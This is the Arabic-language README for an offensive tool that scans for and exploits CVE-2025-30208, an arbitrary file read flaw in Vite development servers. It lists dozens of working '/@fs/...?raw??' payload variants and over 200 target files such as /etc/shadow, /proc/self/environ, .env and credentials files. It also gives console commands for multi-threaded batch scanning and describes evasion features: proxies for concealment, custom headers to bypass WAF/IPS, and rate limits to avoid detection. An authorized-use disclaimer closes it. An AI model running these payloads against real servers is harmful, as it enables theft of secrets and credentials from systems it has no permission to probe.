🔥 ماسح ثغرة قراءة الملفات العشوائية CVE-2025-30208 في Vite

📖 نظرة عامة

هذه أداة ماسح شاملة مصممة لاكتشاف واستغلال ثغرة CVE-2025-30208 في خوادم تطوير Vite. تسمح الثغرة بقراءة الملفات بشكل عشوائي عبر نقاط نهاية نظام الملفات في Vite، مما قد يعرض ملفات التكوين الحساسة، كود المصدر، ومعلومات النظام.

🎯 ما تفعله هذه الأداة

• تكتشف حالات Vite الضعيفة عبر الشبكات
• تستغل ثغرة قراءة الملفات العشوائية بأمان
• تكتشف الملفات الحساسة وبيانات التكوين
• تُبلغ عن النتائج بتنسيقات متعددة (HTML, JSON, وحدة التحكم)
• تُدير جلسات الفحص والتكوينات
• تتعامل مع الأخطاء بانسيابية مع آليات إعادة المحاولة التلقائية

🏗️ بنية معيارية

تتميز الأداة الآن بـ بنية معيارية لسهولة الصيانة والتوسع:

• CVE-2025-30208.py - تطبيق الماسح الرئيسي
• payloads.py - حمولات استغلال متقدمة (أكثر من 60 متغيرًا)
• sensitive_files.py - قاعدة بيانات شاملة للملفات الحساسة (أكثر من 200 ملف)
• html_template.py - قالب تقارير HTML محسّن بأسلوب الهاكرز

🚀 بداية سريعة

المتطلبات الأساسية

pip3 install -r requirements.txt

الاستخدام الأساسي

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

📋 الميزات

🔍 اكتشاف الثغرات الأساسي

• أكثر من 60 حمولة متقدمة: تقنيات استغلال شاملة لأقصى اكتشاف
• كشف ذكي: تحليل ذكي للاستجابات لتجنب النتائج الإيجابية الخاطئة
• تحقق فوري: تحقق مستمر من استجابات الهدف
• اختبار شامل: يختبر جميع نقاط النهاية المعروفة الضعيفة

🛡️ ميزات أمان محسّنة

• دعم الوكيل: تكوين وكيل HTTP/HTTPS للإخفاء
• رؤوس مخصصة: تجاوز WAF/IPS باستخدام رؤوس HTTP مخصصة
• تحديد السرعة: تأخيرات قابلة للتكوين لتجنب الاكتشاف
• إدارة الجلسات: حفظ واستعادة جلسات الفحص
• التحقق من صحة الإدخال: تحقق شامل من المعاملات

🔧 إمكانيات متقدمة

• فحص دفعي: فحص متعدد الخيوط لأهداف متعددة
• اكتشاف الملفات الحساسة: اكتشاف تلقائي لأكثر من 200 ملف حساس
• اختبار الاتصال: اختبار بروتوكولات TCP/UDP/HTTP/HTTPS
• استرداد الأخطاء: إعادة محاولة تلقائية مع تأخير تصاعدي
• تسجيل شامل: سجلات مفصلة مع طوابع زمنية

📊 التقارير والمخرجات

• 🎨 تقارير HTML محسّنة: تقارير ثغرات جميلة بأسلوب الهاكرز مع رسوم متحركة
• تصدير JSON: بيانات منظمة لمزيد من التحليل
• مخرجات وحدة التحكم: تغذية راجعة ملونة في الوقت الفعلي
• ملفات سجل: مسارات تدقيق مفصلة
• واجهة ويب تفاعلية: خادم ويب مدمج لعرض التقارير

🔧 دليل الاستخدام

1. التكوين الأساسي

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. اختبار الثغرات

CVE-2025-30208 > run

# تمكين وضع التفصيل للحصول على مخرجات مفصلة
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. الفحص الدفعي

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[اضغط Enter مرتين للإنهاء]

4. اكتشاف الملفات الحساسة

CVE-2025-30208 > scan

5. التكوين المتقدم

# تكوين الوكيل
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080

# تعيين رؤوس مخصصة
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}

# تكوين تحديد السرعة
CVE-2025-30208 > rate
Enter rate limit: 1.0

6. تقارير HTML المحسّنة

# إنشاء تقرير HTML جميل
CVE-2025-30208 > pull

# بدء خادم ويب لعرض التقرير
CVE-2025-30208 > web

# بدء خادم ويب على منفذ محدد
CVE-2025-30208 > web 8081

# إيقاف خادم الويب
CVE-2025-30208 > web off

📊 مرجع الأوامر

⚙️ خيارات التكوين

🎨 نظام الحمولات المحسّن

يستخدم الماسح الآن أكثر من 60 متغيرًا مختلفًا من الحمولات منظمة في payloads.py:

حمولات @fs الأساسية

/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url

متغيرات المعاملات الموسعة

/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8

متغيرات خاصة بـ Vite

/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug

متغيرات نظام الوحدات

/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html

نقاط نهاية بديلة

/app/{file_path}?raw??
/App/{file_path}?raw??

🔍 اكتشاف الملفات الحساسة المحسّن

تختبر الأداة الآن أكثر من 200 ملف حساس منظمة في sensitive_files.py:

🖥️ ملفات النظام (Linux/Unix)

• /etc/passwd - معلومات حسابات المستخدمين
• /etc/shadow - بيانات كلمة المرور المشفرة
• /etc/services - خدمات الشبكة
• /etc/hosts - تعيينات أسماء المضيفين
• /etc/fstab - جدول نظام الملفات
• /etc/ssh/sshd_config - إعدادات خادم SSH
• /etc/crontab - مهام cron النظامية
• /etc/sudoers - إعدادات sudo

📊 معلومات العمليات

• /proc/version - إصدار النواة
• /proc/cpuinfo - معلومات وحدة المعالجة المركزية
• /proc/meminfo - معلومات الذاكرة
• /proc/self/environ - بيئة العملية
• /proc/self/cmdline - سطر أوامر العملية
• /proc/net/tcp - اتصالات TCP
• /proc/net/udp - اتصالات UDP

⚙️ تكوين التطبيق

• .env - متغيرات البيئة
• .env.local - البيئة المحلية
• .env.production - بيئة الإنتاج
• config.json - تكوين التطبيق
• settings.json - إعدادات التطبيق
• application.properties - تكوين Spring
• application.yml - تكوين YAML
• database.yml - تكوين قاعدة البيانات
• secrets.json - إدارة الأسرار

📦 ملفات Node.js / JavaScript

• package.json - تبعيات Node.js
• package-lock.json - تبعيات مقفلة
• yarn.lock - ملف قفل Yarn
• vite.config.js - تكوين Vite
• vite.config.ts - تكوين Vite TypeScript
• tsconfig.json - تكوين TypeScript
• webpack.config.js - تكوين Webpack
• next.config.js - تكوين Next.js
• nuxt.config.js - تكوين Nuxt.js
• angular.json - تكوين Angular
• vue.config.js - تكوين Vue.js
• rollup.config.js - تكوين Rollup
• eslint.config.js - تكوين ESLint

🔧 ملفات Git

• .git/config - تكوين Git
• .gitignore - قواعد تجاهل Git
• .gitattributes - سمات Git
• .gitmodules - وحدات Git الفرعية
• .git/HEAD - الفرع الحالي
• .git/logs/HEAD - سجلات Git
• .git/refs/heads/master - الفرع الرئيسي
• .git/refs/heads/main - الفرع الرئيسي

📚 ملفات التوثيق

• README.md - توثيق المشروع
• CHANGELOG.md - سجل التغييرات
• LICENSE - معلومات الترخيص
• CONTRIBUTING.md - إرشادات المساهمة
• AUTHORS - معلومات المؤلفين
• TODO.md - قائمة المهام
• ROADMAP.md - خارطة التطوير

🐳 ملفات Docker

• Dockerfile - تكوين Docker
• docker-compose.yml - Docker Compose
• docker-compose.override.yml - تكوين التجاوز
• .dockerignore - قواعد تجاهل Docker
• docker-compose.prod.yml - تكوين الإنتاج
• docker-compose.dev.yml - تكوين التطوير

🌐 تكوين خادم الويب

• nginx.conf - تكوين Nginx
• apache2.conf - تكوين Apache
• httpd.conf - تكوين HTTP daemon
• .htaccess - التحكم في الوصول Apache
• web.config - تكوين IIS
• robots.txt - توجيهات محركات البحث
• sitemap.xml - هيكل الموقع
• manifest.json - بيان تطبيق الويب
• sw.js - عامل الخدمة
• firebase.json - تكوين Firebase
• firebase.rules - قواعد أمان Firebase

🪟 ملفات Windows

• boot.ini - تكوين الإقلاع
• autoexec.bat - سكريبت التنفيذ التلقائي
• system.ini - تكوين النظام
• win.ini - تكوين Windows
• Users - أدلة المستخدمين
• Windows - ملفات النظام
• Program Files - أدلة التطبيقات

🍎 ملفات macOS

• System - ملفات النظام
• Library - ملفات المكتبة
• Applications - ملفات التطبيقات
• private/etc/hosts - ملف المضيفين
• private/etc/passwd - حسابات المستخدمين

🗄️ ملفات قاعدة البيانات

• database.db - قاعدة بيانات SQLite
• database.sqlite - قاعدة بيانات SQLite
• data.db - قاعدة بيانات
• dump.sql - تصدير قاعدة البيانات
• schema.sql - مخطط قاعدة البيانات
• migrations - ترحيلات قاعدة البيانات

📝 ملفات السجل

• logs - دليل السجلات
• error.log - سجلات الأخطاء
• access.log - سجلات الوصول
• app.log - سجلات التطبيق
• debug.log - سجلات التصحيح
• combined.log - سجلات مجمعة

💾 ملفات النسخ الاحتياطي

• backup - دليل النسخ الاحتياطي
• backup.sql - نسخة احتياطية لقاعدة البيانات
• backup.zip - نسخة احتياطية مضغوطة
• dump - تفريغ البيانات
• export - تصدير البيانات

🔒 الأمان والمصادقة

• auth.json - تكوين المصادقة
• credentials.json - تخزين بيانات الاعتماد
• keys.json - إدارة المفاتيح
• tokens.json - تخزين الرموز المميزة
• jwt.json - تكوين JWT
• oauth.json - تكوين OAuth

🔌 ملفات API والخدمات

• api.json - تكوين API
• swagger.json - توثيق API
• openapi.json - مواصفات OpenAPI
• graphql.json - تكوين GraphQL
• schema.json - مخطط API

☁️ ملفات السحابة والنشر

• cloudformation.yml - AWS CloudFormation
• serverless.yml - تكوين Serverless
• terraform.tf - تكوين Terraform
• kubernetes.yml - تكوين Kubernetes
• k8s.yml - تكوين Kubernetes

📊 المراقبة والتحليلات

• analytics.json - تكوين التحليلات
• monitoring.json - إعداد المراقبة
• metrics.json - تكوين المقاييس
• telemetry.json - بيانات القياس عن بعد

🎨 تقارير HTML المحسّنة

تولد الأداة الآن تقارير HTML جميلة بأسلوب الهاكرز مع:

✨ الميزات المرئية

• خلفية على طراز الماتريكس بأحرف متساقطة متحركة
• رسوم متحركة متدرجة وتأثيرات متوهجة
• عناصر تفاعلية مع تأثيرات التمرير
• تصميم متجاوب لجميع الأجهزة
• سمة داكنة محسّنة لمحترفي الأمان

📊 إحصائيات تفاعلية

• عدادات في الوقت الفعلي لإجمالي التسريبات والبايتات المكشوفة
• مؤشرات الخطورة مع ترميز بالألوان
• وظيفة النسخ لكل تسريب
• معاينة المحتوى مع الحجم وعدد الأسطر
• أقسام قابلة للتوسيع للتحليل التفصيلي

🔧 الميزات التقنية

• دمج خطوط Google (JetBrains Mono, Orbitron)
• رسوم متحركة CSS وانتقالات
• تفاعل JavaScript لتحسين تجربة المستخدم
• تصميم متجاوب مع الجوال
• توافق عبر المتصفحات

🌐 دمج خادم الويب

• خادم HTTP مدمج لعرض التقارير
• فتح المتصفح تلقائيًا
• خيارات تكوين المنفذ
• أوامر سهلة للإيقاف/التشغيل

🛡️ معالجة الأخطاء والاسترداد

آلية إعادة المحاولة التلقائية

• 3 محاولات إعادة: إعادة محاولة الطلبات الفاشلة تلقائيًا
• تأخير تصاعدي: زيادة التأخيرات بين المحاولات
• تصنيف ذكي للأخطاء: معالجة مختلفة لأنواع الأخطاء المختلفة
• استرداد سلس: تواصل الأداة العمل بعد الأخطاء

فئات الأخطاء

• NetworkError: مشكلات الاتصال، المهلة، الوكيل
• ConfigurationError: إعدادات ومعاملات غير صالحة
• ValidationError: معاملات إدخال غير صالحة
• ScannerError: أخطاء عامة في الماسح

ميزات التحقق

• التحقق الفوري من الإدخال: التحقق من جميع المعاملات قبل الاستخدام
• التحقق من التكوين: تحقق كامل قبل الفحص
• اختبار الاتصال: اختبار بروتوكولات TCP/UDP/HTTP/HTTPS
• التحقق من الوكيل: التحقق من صحة تنسيق URL الوكيل

📁 ملفات المخرجات

📝 الإصدارات المتأثرة

🚨 الإصدارات الضعيفة

6.2.0 ≤ Vite ≤ 6.2.2
6.1.0 ≤ Vite ≤ 6.1.1
6.0.0 ≤ Vite ≤ 6.0.11
5.0.0 ≤ Vite ≤ 5.4.14
Vite ≤ 4.5.9

✅ الإصدارات غير المتأثرة

Vite ≥ 6.2.3
6.1.2 ≤ Vite < 6.2.0
6.0.12 ≤ Vite < 6.1.0
5.4.15 ≤ Vite < 6.0.0
4.5.10 ≤ Vite < 5.0.0

🛡️ الأمان والاستخدام الأخلاقي

⚠️ ملاحظات أمان مهمة

• الاختبار المصرح به فقط: استخدم فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها
• الإفصاح المسؤول: أبلغ مالكي النظام عن الثغرات
• تحديد السرعة: استخدم تأخيرات مناسبة لتجنب إغراق الأهداف
• استخدام الوكيل: ضع في اعتبارك استخدام الوكلاء للإخفاء عند الاقتضاء
• الامتثال القانوني: تأكد من الامتثال للقوانين واللوائح المحلية

🔒 أفضل الممارسات

• احصل دائمًا على إذن كتابي قبل الاختبار
• استخدم في بيئات خاضعة للرقابة فقط
• وثق جميع أنشطة الاختبار
• احترم حدود السرعة وموارد النظام
• أبلغ عن النتائج بمسؤولية

🚀 أمثلة استخدام متقدمة

مثال 1: فحص شبكة شامل

CVE-2025-30208 > set THREADS 20
CVE-2025-30208 > set RATE_LIMIT 0.5
CVE-2025-30208 > set TIMEOUT 10
CVE-2025-30208 > verbose
CVE-2025-30208 > batch

مثال 2: فحص خفي باستخدام وكيل

CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
CVE-2025-30208 > set RATE_LIMIT 2.0
CVE-2025-30208 > run

مثال 3: سير عمل التقارير المحسّن

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run
CVE-2025-30208 > pull
CVE-2025-30208 > web 8080

مثال 4: اكتشاف الملفات الحساسة

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > scan

🏗️ هيكل المشروع

CVE-2025-30208/
├── CVE-2025-30208.py          # تطبيق الماسح الرئيسي
├── payloads.py                # حمولات استغلال متقدمة (أكثر من 60)
├── sensitive_files.py         # قاعدة بيانات الملفات الحساسة (أكثر من 200)
├── html_template.py           # قالب تقارير HTML محسّن
├── README.md                  # هذا التوثيق
├── requirements.txt           # تبعيات Python
├── logs/                      # دليل ملفات السجل
├── data_leak.html            # تقارير HTML المُنشأة
├── data_leak.json            # تقارير JSON المُنشأة
└── session.json              # تكوينات الجلسة المحفوظة

🤝 المساهمة

نرحب بالمساهمات لتحسين هذه الأداة:

1. قم بعمل Fork للمستودع
2. أنشئ فرع ميزة
3. قم بإجراء التغييرات
4. اختبر بدقة
5. أرسل طلب سحب

مجالات المساهمة

• متغيرات حمولات جديدة في payloads.py
• أنماط إضافية للملفات الحساسة في sensitive_files.py
• قوالب HTML محسّنة في html_template.py
• تحسين معالجة الأخطاء
• تحسينات الأداء
• تحسينات التوثيق

📄 الترخيص

هذا المشروع مرخص لـ أغراض الاختبارات الأمنية التعليمية والمصرح بها فقط.

⚠️ إخلاء مسؤولية قانوني: هذه الأداة مخصصة لأغراض الاختبارات الأمنية والبحث المصرح بها فقط. المستخدمون مسؤولون عن ضمان حصولهم على الترخيص المناسب قبل اختبار أي أنظمة. المؤلفون ليسوا مسؤولين عن أي إساءة استخدام لهذه الأداة.

👨‍💻 المؤلف